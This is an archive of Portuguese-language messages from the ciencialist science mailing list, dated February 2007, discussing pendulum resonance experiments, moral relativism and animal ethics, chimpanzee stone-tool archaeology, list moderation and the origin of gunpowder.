Olá Prof. Murilo e a todos,

é assim mesmo, as vezes os mestres estão às voltas com assuntos outros
que apenas os mestres podem resolver, e as 24 horas são poucas para
atenderem a tantos pedidos.

O Prof. Léo já se manifestou e deu a sua extrema-unção ao dito cujo.

Fiquei confuso, principalmente pelos vídeos dos protótipos "funcionando".

Fiz um experimento simples para entender o que o Léo disse no seu
primeiro retorno:


Léo: ... A força que age no braço de alavanca do lado direito é
exclusivamente a tensão no fio de suspensão do pêndulo. A componente
útil dessa tensão (para o deslocamento da alavanca) é a parcela
vertical que não muda o braço de alavanca. As componentes horizontais
só puxam ou apertam a alavanca contra o fulcro, não realizam trabalho.);


E não consegui verificar isto na prática, pois percebi que o movimento
do pêndulo transfere energia para o outro braço da alavanca, fazendo-o
mover-se na vertical. O movimento do pêndulo é modificado (diminuido)
quando essa transferência ocorre. Teria algo a ver com a variação do
centro de massa pelo movimento do pêndulo? Ainda que a componente útil
da tensão não mude o braço da alavanca, existe uma massa que se
desloca, e este deslocamento afeta o equilíbrio do sistema.

O que fiz foi uma haste apoiada em seu centro, funcionando como uma
balança. No lado esquerdo coloquei um peso de 100g e no lado direito
um pêndulo também de 100g. Ao movimentar o pêndulo na mesma direção da
haste, o seu lado esquerdo realiza um movimento na direção vertical,
para baixo e para cima. Se este movimento for limitado em seu curso, é
possível observar-se uma força (com capacidade para realizar um
trabalho útil) e a consequente redução no movimento do pêndulo, mas
que se realimentado, continua a transferir energia para o lado
esquerdo da haste.

No segundo retorno o Léo explicou:

Léo: ... Trata-se da migração da energia do pêndulo oscilante para o
sistema elástico --- e vice-versa!
Infelizmente o vídeo não mostra a complementação do experimento:
Colocando no local onde ele pendurou o pacotinho de papel (para notar
a vibração transmitida) um outro pêndulo (síncrono com o primeiro),
haverá um instante em que esse segundo pêndulo estará oscilando com
máxima amplitude e o primeiro ficará em repouso.


Ai eu entendí que existe sim migração da energia do pêndulo oscilante
para o outro sistema e vice-versa (pude ver isto no experimento que
relatei). Mas pela explicação, se entendi direito, esta transferência
é por ressonância (sei lá, acho que viajei).

Que me desculpe o Léo, mas ainda estou curioso. E antes que me mandem
construir um modelo, já estou pensando no assunto. Até porque a
engenhoca" é simples.

Quando estiver dirigindo o meu carro movido a movimento pendular,
fiquem tranquilo, darei notícias aqui no grupo.

Abraços

Tipoalgo




SUBJECT: Direito dos animais
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 00:10

Abrace essa idéia

http://www.apasfa.org/leis/declaracao.shtml


Abs,Romano



SUBJECT: Moderação
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 00:11

Por uma razão qualquer este grupo está sendo moderado

Abs,Romano



SUBJECT: Vestibucast :// Densidade
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: chemello@gmail.com
DATE: 15/02/2007 01:18

Caros amigos,

O Vestibucast é um serviço de provimento de conteúdos digitais em áudio do jornal Folha de S.Paulo. É um podcast voltado exclusivamente para o vestibulando. Desta vez, o conceito abordado foi o da densidade.

Densidade
<áudio> http://bd.folha.uol.com.br/vestibucast/audio/vest_qui_densidade.mp3
<texto> http://www.quimica.net/emiliano/vestibucast/densidade.pdf

Para ver e ouvir os demais textos, acesse:
http://www.quimica.net/emiliano/vestibular.html

Aguardo vossos comentários,

Um abraço do
Prof. Emiliano Chemello

__________________________________________________
Fale com seus amigos de graça com o novo Yahoo! Messenger
http://br.messenger.yahoo.com/


SUBJECT: Re: Vestibucast :// Densidade
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 01:36

Não consegui ouvir

Abs, Romano

--- Em ciencialist@yahoogrupos.com.br, "Prof. Emiliano Chemello"
<chemelloe@...> escreveu
>
> Caros amigos,
>
> O Vestibucast é um serviço de provimento de conteúdos digitais
em áudio do jornal Folha de S.Paulo. É um podcast voltado
exclusivamente para o vestibulando. Desta vez, o conceito abordado foi
o da densidade.
>
> Densidade
> <áudio>
http://bd.folha.uol.com.br/vestibucast/audio/vest_qui_densidade.mp3
> <texto> http://www.quimica.net/emiliano/vestibucast/densidade.pdf
>
> Para ver e ouvir os demais textos, acesse:
> http://www.quimica.net/emiliano/vestibular.html
>
> Aguardo vossos comentários,
>
> Um abraço do
> Prof. Emiliano Chemello
>
> __________________________________________________
> Fale com seus amigos de graça com o novo Yahoo! Messenger
> http://br.messenger.yahoo.com/
>




SUBJECT: Grupo descobre "Idade da Pedra" dos chimpanzés
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 01:40

Grupo descobre "Idade da Pedra" dos chimpanzés
CLAUDIO ANGELO
Editor de Ciência da Folha de S.Paulo

Um grupo internacional de pesquisadores descobriu em uma floresta da
Costa do Marfim um conjunto de ferramentas rudimentares de pedra com
4.300 anos de idade. Até aí, nada de excepcional. A novidade é que os
fabricantes dos instrumentos não foram caçadores-coletores humanos,
mas, sim, um bando de chimpanzés.

O achado, publicado hoje na revista "PNAS", muda o sentido da
expressão "Idade da Pedra" e faz os olhos dos interessados nas origens
do homem se voltarem às florestas tropicais do oeste africano, até
então preteridas em favor das savanas.

Embora ferramentas de pedra antigas usadas por esses macacos para
quebrar frutos secos já fossem conhecidas, esta é a primeira vez que
se descobrem sítios arqueológicos com vestígios milenares de uma
"cultura" símia. O que traz à tona uma questão com a qual os
antropólogos têm se debatido: o que é mesmo "cultura"?

A definição tem sido cada vez mais bagunçada pelos estudos de
comportamento animal.

Considerada num passado não muito distante uma característica humana
por excelência, a transmissão cultural --que inclui o uso de
ferramentas para modificar intencionalmente o ambiente-- já está bem
comprovada em grandes macacos como chimpanzés.

Há bons indícios de que ela aconteça entre golfinhos e até entre os
modestos macacos-pregos, separados da linhagem humana por 30 milhões
de anos de evolução. Há quem diga que até aves, como os corvos, a
possuam em algum grau.

O novo estudo, liderado pelo espanhol Júlio Mercader, da Universidade
de Calgary (Canadá), leva essas evidências ao extremo. Afinal, ele
mostra que não só os chimpanzés são capazes de transmitir conhecimento
tecnológico dentro da sociedade como também de manter esse conhecimento.

As ferramentas toscas desenterradas por Mercader e seus colegas no
Parque Nacional Taï são muito semelhantes às que os chimpanzés que
habitam a área utilizam hoje em dia.

"A Idade da Pedra dos chimpanzés começou há milhares de anos.
Portanto, a transmissão de tecnologia persistiu ao longo de muitas
gerações", disse o pesquisador à Folha.

Tecnologia de ponta

Os antigos instrumentos líticos dos macacos consistem praticamente em
"martelos" usados para quebrar cinco tipos de castanha existentes na
floresta. Os bichos gostam tanto dos frutos que dedicam uma média de
sete anos de "estudo" para aprender a rachar os coquinhos sem destruir
a noz, usando pedras de até nove quilos.

O tamanho e o peso dos artefatos, aliás, foram duas das pistas que os
pesquisadores seguiram para estabelecer que os artefatos eram mesmo
coisa de macaco. Os chimpanzés, apesar da baixa estatura, são muito
mais fortes que os humanos. Ferramentas humanas típicas da Idade da
Pedra costumam ter no máximo meio quilo.

A outra maneira de determinar a autoria das peças foi a análise de
microscópicos grãos de amido ainda grudados nas pedras. Eles pertencem
exatamente às cinco espécies de castanha que integram o cardápio atual
dos macacos de Taï.

Os sítios arqueológicos descobertos por Mercader e colegas dos EUA, do
Reino Unido e da Alemanha precedem a invenção da agricultura por
humanos naquela região. "Não havia agricultores vivendo ali há 4.300
anos, portanto é improvável que os chimpanzés tenham aprendido [o
hábito] por imitação de humanos, como alguns cientistas costumavam
alegar", afirma Mercader.

Para o espanhol, o achado sugere que a técnica da percussão de pedras
para quebrar castanhas já era adotada pelo último ancestral comum
entre humanos e chimpanzés, há cerca de 7 milhões de anos.

Arqueologia de mico

O etólogo Eduardo Ottoni, da USP, especialista em cultura de
macacos-pregos, está se unindo a arqueólogos para tentar estabelecer
sítios antigos também para esses animais.

Ele diz que o estudo na "PNAS" é interessante, mas que não altera a
hipótese original para a origem dessas ferramentas --a do ancestral
comum. "Mais ou menos 4.000 anos não muda muito em relação a 7 milhões."



SUBJECT: Re: [ciencialist] P/ Vitor - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 07:57

Considero encerrada, no que tange a mim, esta longa e ofitópica thread.

Sds,
Victor.


----- Original Message -----
From: romano_170
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 14, 2007 4:12 PM
Subject: [ciencialist] P/ Vitor - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )


Acho que apoiando a falácia do Victor, voce acaba na mesma falácia , a
falácia da vovó Mafalda :-)

Vejamos. Os direitos humanos não partem de nossas emoçoes e instintos
segundo um determinado padrão unitário ou tendencias de moda ou
cultura, ele transcende a cultura, e foram fruto de discussões
seculares e consensuais, de princípuios universais válidos para todos
os seres humanos, e não tão somente para alguns interessados

É fruto do conhecimento secular amadurecido, com base na experiencia
humana de sofrimentos, imposições, opressões seculares, injustiças e
valores impostos. Portanto tem uma base, racional, humanista secular.

Teimar quanto a isso é bobagem, cada vez mais pessoas inteligentes
irão perceber oo furo da argumentação de voces

Abs,Romano

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Vitor
>
> Vitor, Romano/Tagore/Bradock/etc é apenas um troll, que muda de nick a
> cada semana, para "pegar" incautos listeiros que, se soubessem que é
> ele de novo (Bradock/Tagore/Pubmed/rtjunior/Romano/etc) não dariam
> atenção, nem responderiam a nenhuma mensagem.
>
> Tudo que ele deseja é atenção, arrumar encrenca e bater boca. Arrumou
> encrenca com o Takata, "a favor" do vegetarianismo, e arrumou encrenca
> com a Bruna, "contra" o vegetarianismo. Diga A, ele dirá B, diga B,
> ele dirá A.
>
> E copiará centenas de links e trechos de texto que não leu e não
entende.
>
> Todo esforço em escrever longas, e racionais, considerações,a
> argumentos, evidências, etc, é inútil e se perde em respostas como
essas:
>
> Troll: "Não há diferenças entre leis físicas e leis morais. Sem amor a
> existencia é impossível. Não há relativismo algum nisso."
>
> Fala sério..:-) Dá para conversar com quem escreve isso?!..:-)
>
> É só um troll, fingindo ser mais esperto e mais importante do que é..:-)
>
> Gostei muito de suas mensagens, mas serão pouco proveitosas para tal
> entidade malígna..:-) Em pouco tempo, quando todos se cansarem de seus
> absurdos como Romano_170 (deveria ser romano_171..:-), ele "some" e
> volta com novo nick, disfarçado, sem avisar ninguém, tentando "pegar"
> novas vítimas.
>
> Foi assim que conseguiu ser expulso de diversas listas..:-)
>
> Um abraço.
>
> Homero
>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] E ética de cada um...
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 08:54

Entendo, agora...
Ricardo, significa que sua ética depende do lugar onde vc estiver.



Ricardo <ricardos@infolink.com.br> escreveu: Olá Bruna,

Não disse que vale tudo não. Existem normas sim. Só que as normas são de
cada sociedade.

E, neste caso, eu não concordo com o Peter Singer. Neste ponto, penso como o
Bertrand Russel. Para ele a ética é subjetiva e depende do grupo social que
vivemos.

Grande abraço,

Ricardo

----- Original Message -----
From: "Bruna Carolina Ribas" <brunacribas@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 7:00 PM
Subject: Re: [ciencialist] E ética de cada um...

Se é verdade que a ética é circustancial, e não há uma ética universal.

Pode ser desfavorável para a indústria anunciar a verdade sobre tudo que
vende,
para quê rótulos e por que não aceitar alimentos geneticamente modificados?

Por que ser contra a obtenção de produtos mais baratos vindos do trabalho
escravo?

Tudo é permitido, não existe uma ética universal também não deveríamos viver
sobre leis, sobre obrigações tampouco praticando atos que contrariam a nossa
natureza animal...

Segundo Peter Singer, "...é verdade que alguns tendem ao subjetivismo
excessivo, afirmando que uma moralidade é tão boa quanto outra qualquer;
mas, quando essas mesmas pessoas são pressionadas a dizer se acreditam que a
moralidade de Hitler, ou a dos traficantes de escravos é tão boa quanto a de
Albert Schweitzer ou a de Martin Luther King, reconhecem que, afinal,
acreditam que algumas moralidades são melhores que outras" (Libertação
Animal, p. 276).

Victor <jvoneto@uol.com.br> escreveu:
Ricardo,

Você fechou claramente o que tentei expor com exemplos, centrados em
circunstâncias igualmente claras. Moral, ética, religião, comportamento,
enfim, tudo é uma função geográfica!. Para mim,isto é de uma clareza, sobre
o que não tenho dúvidas, o que me economiza o tempo de estar elaborando
perguntas e mais perguntas. Minha realidade é minha realidade. A de outros,
é a de outros. Que só depende do lugar e/ou das circunstâncias, como se tem
corretamente enfatizado. Imagina que eu, civilizado como penso que sou,
tivesse nascido em uma tribo brasileira, digamos, a Tupinambá. Numa guerra,
aprisionei uma linda guerreira. Ia comê-la, sim senhor! Aí, depois, viria
uma batata de perna, um... Se não fosse ela, seria eu. Bem, já almocei.

Sds,
Victor.

----- Original Message -----
From: Ricardo
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 2:53 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re:
Carne: enfim o método )

Como todo o respeito (mesmo), não vejo nada profundo nestes questionamentos
(sem nenhum menosprezo).

Quero dizer, pelo código de conduta implícito na moral da cultura da nossa
sociedade, não há nada demais em comer um bife, ou escravizar um cavalo
para
usá-lo como transporte.

Em outras culturas é imoral matar uma vaca ou um mosquito. Em algumas é
moral comer um ser humano.

Vejo como meramente cultural, toda a questão da ética e da moral. Posso ser
criticado por alguns aqui, mas não concordo com a visão de alguns
filósofos
de uma ética universal, absoluta.

[]s
Ricardo

----- Original Message -----
From: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 1:28 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re:
Carne:
enfim o método )

> Victor, não sei se voce notou mas quase todas as
> situações apontadas são extremas. È bem diferente,
> talvez da sua quando está confortavelmente posicionado
> a mesa degustando um suculento bife, não acha???
>
>
> --- jvictor <jvoneto@uol.com.br> escreveu:
>
>> Chicão,
>>
>> ----- Original Message -----
>> From: Chicao Valadares
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Monday, February 12, 2007 9:59 AM
>> Subject: Re: [ciencialist] As baratas, nossas
>> irmãzinhas!!! ( Era Re: Carne: enfim o método )
>>
>>
>> Victor:> Como carne, de preferência carne branca.
>> É verdade,
>> >inegável, que essa coisa de matar para comer, se
>> >pensar direitinho, pode mexer um pouco com nossa
>> ética >pessoal que, como a
>> >verdade pessoal, é um conceito relativo.
>>
>> Chicão: Existe moral universal??
>>
>> Victor>> Não me referí a moral. De qualquer
>> maneira, não existe uma moral universal. Ela é
>> igualmente relativa, depende só da geografia. É como
>> religião.
>>
>> Quanto à ética, como a discutida na thread
>> encabeçada por Bruna, um exemplo poderá esclarecer o
>> que penso a respeito da maleabilidade de conceitos
>> do tipo:
>>
>> 1)Você está perdido numa floresta, com seus
>> filhos. O frio é intenso, a tropa vai morrer de
>> frio, se não houver uma providência. De repente, um
>> belo e sedoso urso surge por trás de um monte. Pele
>> lisinha,lisinha. Que poderá aquecer e salvar os
>> filhos. De minha parte, eu não teria dúvidas:
>> apontaria meu canhão ponto 50 para a testa do tal, e
>> bum!. Retiraria sua pele e salvaria meus filhos.
>> Onde está a falta de ética ou moral, nesse caso.
>>
>> 2) Você está na floresta, mas não está perdido. Vê
>> o urso. E pensa: aquela pele deve valer um bom
>> dinheiro; além disso, agradaria minha gata. E bum!,
>> no urso.
>>
>> E agora, como fica a moral e a ética, se comparada
>> ao caso anterior? Em ambos os casos, um animal foi
>> morto e sua pele usada para duas finalidades!. Em
>> qual dos casos o autor do bum! deveria ser
>> condenado?
>>
>> 3) Você não tem frio, é verão,mas está perdido na
>> floresta e seus filhos morrendo de fome. Não há nem
>> uma folhinha comestível num raio de vários
>> kilometros. Aparece o tal urso, gordinho,
>> gordinho(digamos que sua carne possa ser ingerida,
>> nunca ouvi falar não, mas admitamos isso. Se quiser,
>> substitua o urso por uma vaca bonita, gordinha
>> também). Eu, mais uma vez, não teria dúvidas, bum.
>> Um foguerinha(ou não) salvaria minha tropa.
>>
>> Onde está a quebra de moral e ética aqui? Deveria
>> ser escafedido por isso, ou discriminado?
>>
>> Os dois conceitos, portanto, são relativos, e a
>> conceituação fica a depender de vários fatores.
>> Nenhum dos conceitos é absoluto, ou universal.
>>
>> Victor> Mas é o tal caso, assume-se que é uma
>> consequência
>> do > próprio processo de vida, de subsistência.
>> Está
>> >intimamente ligada à natureza das coisas. E são
>> > processos, apenas processos. Que têm relações
>> > causais, evidentemente.
>>
>> Chicão: Por que eu não posso matar pessoas para se
>> alimentar,
>> já que faz parte do processo de alimentação???
>>
>> Victor: Bem, acho que a pergunta ficou meio fora
>> do contexto em discussão. Mas posso comentar algo.
>> Matar propriamente, não. Mas há casos, em nossa
>> sociedade não canibal (assim mesmo o canibalismo tem
>> uma origem que aponta para um uso ritualístico, em
>> função, em geral, da geografia e das crenças
>> daquela sociedade; muito menos por necessidades
>> orgânicas, e muitas das vezes como um tributo ao
>> guerreiro morto, ou para comemorar algo,como uma
>> vitória, ou para mendigar beneíficios da divindade
>> da tribo), moderna, onde houve a necessidade de
>> ingerir carne humana, de amigos e colegas já mortos,
>> como única alternativa em defesa de suas vidas. Há
>> um caso famoso, de um avião que caiu nos Andes,
>> década de 60,acho. Aquelas pessoas faltaram com a
>> ética, alí? Ou com a moral? O que você faria? Acho
>> que agiram em defesa de da vida. Mesmo assim, até
>> onde sei, foram estigmatizados, os que lograram sair
>> daquele inferno gelado. Particularmente, não os
>> condeno por isso. Agiram dentro de um esquema para o
>> qual não havia saída. Aliás,havia uma única: o
>> suicídio. Aí você seria o prato do dia! Se correr o
>> bicho pega, se ficar, o bicho come.
>>
>> Particularmente, não sei o que faria. A ocasião é
>> que diria, se eu seria comido(epa, epa, no sentido
>> alimentar), se a ética e a moral falassem mais alto
>> ou se comeria(idem,idem) alguém; Já pensou numa
>> batata de perna de alguma gordinha bonita? Ôooh!
>>
>> A ocasião faz o bicho. Darwin até poderia dar uns
>> pitáculos também, estou certo, depois de achar que
>> as coisas são assim,na natureza.
>>
>> Sds,
>> Victor.
>>
>>
>> "O Binômio de Newton é tão belo como a Vênus de
>> Milo.
>> O que há é pouca gente para dar por isso... "
>> Fernando Pessoa - Poesias de Alvaro Campos
>>
>>
>>
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>> arquivo(s) anexado(s)
>> são
>> para uso restrito, sendo seu sigilo protegido por
>> lei. Caso não seja
>> destinatário, saiba que leitura, divulgação ou
>> cópia são proibidas.
>> Favor
>> apagar as informações e notificar o remetente. O
>> uso impróprio será
>> tratado
>> conforme as normas da empresa e a legislação em
>> vigor. Agradecemos sua
>> colaboração.
>>
>> The information mentioned in this message and in
>> the archives attached
>> are
>> of restricted use, and its privacy is protected by
>> law. If you are not
>> the
>> addressee, be aware that reading, disclosure or
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>> Please
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>> Inappropriate use will
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> O que há é pouca gente para dar por isso... "
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SUBJECT: Re: [ciencialist] Moderação
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 09:00

O único grupo que modera por 'razão qualquer' é o dos crentes. Nesse grupo 'razão', sob qqer roupagem, é condenada. O C-List modera por 'atos, fatos e comportamentos' previstos deste sua fundação; essas 'premissas' constam na página de abertura do grupo e assumidas com "aceito as condições" por ocasião do pedido de ingresso ao grupo.
Os moderadores são dotados de certa 'elasticidade mental' e acreditam na 'dilatação de idéias'; não são, entretanto, 'perfeitos', são, outrossim, 'mais que perfeitos', quase um 'subjuntivo'.

Assim são os moderadores desse grupo, dos quais, um deles (não, não vou dizer o nome) deve estar papando uma gostosa francesinha nesse momento.

Léo, o invejoso.

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "romano_170" <romano_170@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 14 de fevereiro de 2007 23:11
Assunto: [ciencialist] Moderação


Por uma razão qualquer este grupo está sendo moderado

Abs,Romano



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SUBJECT: Re: [ciencialist] Re: A utilidade de um Pêndulo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 09:18

Olá Tipoalgo, vou tentar melhorar a coisa nessa sua parte:

"Ai eu entendi que existe sim migração da energia do pêndulo oscilante
para o outro sistema e vice-versa (pude ver isto no experimento que
relatei). Mas pela explicação, se entendi direito, esta transferência
é por ressonância (sei lá, acho que viajei)."

Quando um pêndulo oscila há variações periódicas na intensidade da força que o fio aplica no gancho de suspensão; é a F(t) que o suporte recebe e, no caso do pêndulo essa F(t) é praticamente uma função harmônica. Se o suporte é rígido e de massa 'infinita' em relação à massa pendular (gancho fixado no laje do teto de sua sala, por exemplo), a transferência de energia mecânica para o suporte é mínima (e, por isso, o pêndulo ficará oscilando por mais tempo --- e depois para.
Se o gancho se prende a um sistema elástico cuja massa é pequena, essa F(t) gera impulsos que alteram a quantidade de movimento desse sistema, praticamente com a mesma lei harmônica.
Se, nesse sistema houver algum corpo que possa oscilar na mesma freqüência do pêndulo excitador, ele irá acumulando paulatinamente essa energia (caso da ressonância), extraindo energia mecânica do pêndulo excitador (o tempo de oscilação deste se reduz visivelmente, até parar).
Tudo indica que vc não leu os links que postei. Assim sendo, envio outro mais 'matemático' que inclui o fator de amortecimento:

http://www.feiradeciencias.com.br/sala10/10_T03.asp

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Tipoalgo" <tipoalgo@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 14 de fevereiro de 2007 22:41
Assunto: [ciencialist] Re: A utilidade de um Pêndulo


Olá Prof. Murilo e a todos,

é assim mesmo, as vezes os mestres estão às voltas com assuntos outros
que apenas os mestres podem resolver, e as 24 horas são poucas para
atenderem a tantos pedidos.

O Prof. Léo já se manifestou e deu a sua extrema-unção ao dito cujo.

Fiquei confuso, principalmente pelos vídeos dos protótipos "funcionando".

Fiz um experimento simples para entender o que o Léo disse no seu
primeiro retorno:


Léo: ... A força que age no braço de alavanca do lado direito é
exclusivamente a tensão no fio de suspensão do pêndulo. A componente
útil dessa tensão (para o deslocamento da alavanca) é a parcela
vertical que não muda o braço de alavanca. As componentes horizontais
só puxam ou apertam a alavanca contra o fulcro, não realizam trabalho.);


E não consegui verificar isto na prática, pois percebi que o movimento
do pêndulo transfere energia para o outro braço da alavanca, fazendo-o
mover-se na vertical. O movimento do pêndulo é modificado (diminuido)
quando essa transferência ocorre. Teria algo a ver com a variação do
centro de massa pelo movimento do pêndulo? Ainda que a componente útil
da tensão não mude o braço da alavanca, existe uma massa que se
desloca, e este deslocamento afeta o equilíbrio do sistema.

O que fiz foi uma haste apoiada em seu centro, funcionando como uma
balança. No lado esquerdo coloquei um peso de 100g e no lado direito
um pêndulo também de 100g. Ao movimentar o pêndulo na mesma direção da
haste, o seu lado esquerdo realiza um movimento na direção vertical,
para baixo e para cima. Se este movimento for limitado em seu curso, é
possível observar-se uma força (com capacidade para realizar um
trabalho útil) e a consequente redução no movimento do pêndulo, mas
que se realimentado, continua a transferir energia para o lado
esquerdo da haste.

No segundo retorno o Léo explicou:

Léo: ... Trata-se da migração da energia do pêndulo oscilante para o
sistema elástico --- e vice-versa!
Infelizmente o vídeo não mostra a complementação do experimento:
Colocando no local onde ele pendurou o pacotinho de papel (para notar
a vibração transmitida) um outro pêndulo (síncrono com o primeiro),
haverá um instante em que esse segundo pêndulo estará oscilando com
máxima amplitude e o primeiro ficará em repouso.


Ai eu entendí que existe sim migração da energia do pêndulo oscilante
para o outro sistema e vice-versa (pude ver isto no experimento que
relatei). Mas pela explicação, se entendi direito, esta transferência
é por ressonância (sei lá, acho que viajei).

Que me desculpe o Léo, mas ainda estou curioso. E antes que me mandem
construir um modelo, já estou pensando no assunto. Até porque a
engenhoca" é simples.

Quando estiver dirigindo o meu carro movido a movimento pendular,
fiquem tranquilo, darei notícias aqui no grupo.

Abraços

Tipoalgo




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SUBJECT: Re: E ética de cada um...
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 09:40

200 vacas ou 1 ser humano?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Entendo, agora...
> Ricardo, significa que sua ética depende do lugar onde vc estiver.



SUBJECT: Fw: Professora de História
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 10:46

Olá meus assessores de temas gerais e arquibancadas ......

quebrem essa!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "leandrarmando" <leandrarmando@ig.com.br>
Para: <leobarretos@uol.com.br>
Enviada em: quarta-feira, 14 de fevereiro de 2007 21:30
Assunto: Professora de História


Investigação histórica

Tenho uma dúvida e, se possível, gostaria que você me ajudasse a resolver.
Sou professora de história de uma escola técnica e, em uma de minhas aulas
me foi questionado sobre a origem da pólvora. Muitos alunos acreditam que a
descoberta da mesma é mérito dos chineses. No entanto, um professor que é
doutor em história informou-me que sua origem está nos árabes.
Por favor, se você tiver algum texto, artigo, site, qualquer informação a
respeito desse assunto, se puder me indicar, me enviar, ficarei muito grata.

Desde então agradeço por sua atenção.

Um abraço

Professora Leandra Coutinho.

outro endereço de e-mail: leandracoutinho@hotmail.com





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SUBJECT: Re: [ciencialist] Re: E ética de cada um...
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 10:56

>
>200 vacas ou 1 ser humano?
>

Depende do ser humano! Tem ser humano que não vale 1 vaca! :-)

[]',s
Jeff.



SUBJECT: Re: [ciencialist] Fw: Professora de História
FROM: "jvictor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 11:16

Léo,

Escreví "origens da poltrona" e "pólvora" no Google e ele exibiu uma carrada de páginas, cada uma com diversos sites sobre o assunto. Está certo que passei só uma vista rápida, mas só ví referências a origens chinesas, nada em relação aos árabes.Sugiro sugerir à Professora uma pesquisa no Google.

Sds,
Victor.

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist
Sent: Thursday, February 15, 2007 9:46 AM
Subject: [ciencialist] Fw: Professora de História


Olá meus assessores de temas gerais e arquibancadas ......

quebrem essa!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "leandrarmando" <leandrarmando@ig.com.br>
Para: <leobarretos@uol.com.br>
Enviada em: quarta-feira, 14 de fevereiro de 2007 21:30
Assunto: Professora de História

Investigação histórica

Tenho uma dúvida e, se possível, gostaria que você me ajudasse a resolver.
Sou professora de história de uma escola técnica e, em uma de minhas aulas
me foi questionado sobre a origem da pólvora. Muitos alunos acreditam que a
descoberta da mesma é mérito dos chineses. No entanto, um professor que é
doutor em história informou-me que sua origem está nos árabes.
Por favor, se você tiver algum texto, artigo, site, qualquer informação a
respeito desse assunto, se puder me indicar, me enviar, ficarei muito grata.

Desde então agradeço por sua atenção.

Um abraço

Professora Leandra Coutinho.

outro endereço de e-mail: leandracoutinho@hotmail.com

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] E ética de cada um...
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 11:30

Vc deve estar brincando certo? Caso contrário, vai uma explicação:

Minha ética depende de minha criação e influências culturais, que moldaram
as associações de estímulos emocionais competentes à emoções sociais.
Durante os primeiros anos de nossas vidas passamos por criamos uma série de
condicionamentos para os valores culturais que nos cercam.

Sabe a sensação imediata de nojo que temos ao ver alguém comer formigas, ou
a culpa, quando fazemos algo que nos condicionamos a considerar errado?

O neurocientista Antônio Damásio tem excelentes trabalhos no assunto.
Segundo estudos por ele relatados, são documentados casos onde adultos
sofrem lesões na área do cérebro responsável pela associação emocional, que
ocorre antes mesmo da cognição, impedindo que o indivíduo faça as
associações necessárias para se emocionar diante de um estímulo. O que
acontece nestes casos é que o adulto racionalmente sabe o que considera
certo e errado, porque já possui opinião racional formada. Mesmo assim tende
a cometer diversos erros de conduta, por ações realizadas antes da reflexão,
que seriam facilmente filtradas pelo tal filtro emocional de culpa, prazer e
companhia. No caso de crianças com essas lesões o problema é ainda mais
grave, pois não há substrato racional formado, então são crianças sem
limites. Sem qualquer noção de certo e errado, para as quais não existe
nenhuma emoção dirigindo as ações.

Recomendo o livro "Em busca de Espinoza" sobre o assunto. Muito bom.

Um abraço,

Ricardo Szczerbacki


----- Original Message -----
From: "Bruna Carolina Ribas" <brunacribas@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, February 15, 2007 7:54 AM
Subject: Re: [ciencialist] E ética de cada um...


Entendo, agora...
Ricardo, significa que sua ética depende do lugar onde vc estiver.



Ricardo <ricardos@infolink.com.br> escreveu:
Olá Bruna,

Não disse que vale tudo não. Existem normas sim. Só que as normas são de
cada sociedade.

E, neste caso, eu não concordo com o Peter Singer. Neste ponto, penso como
o
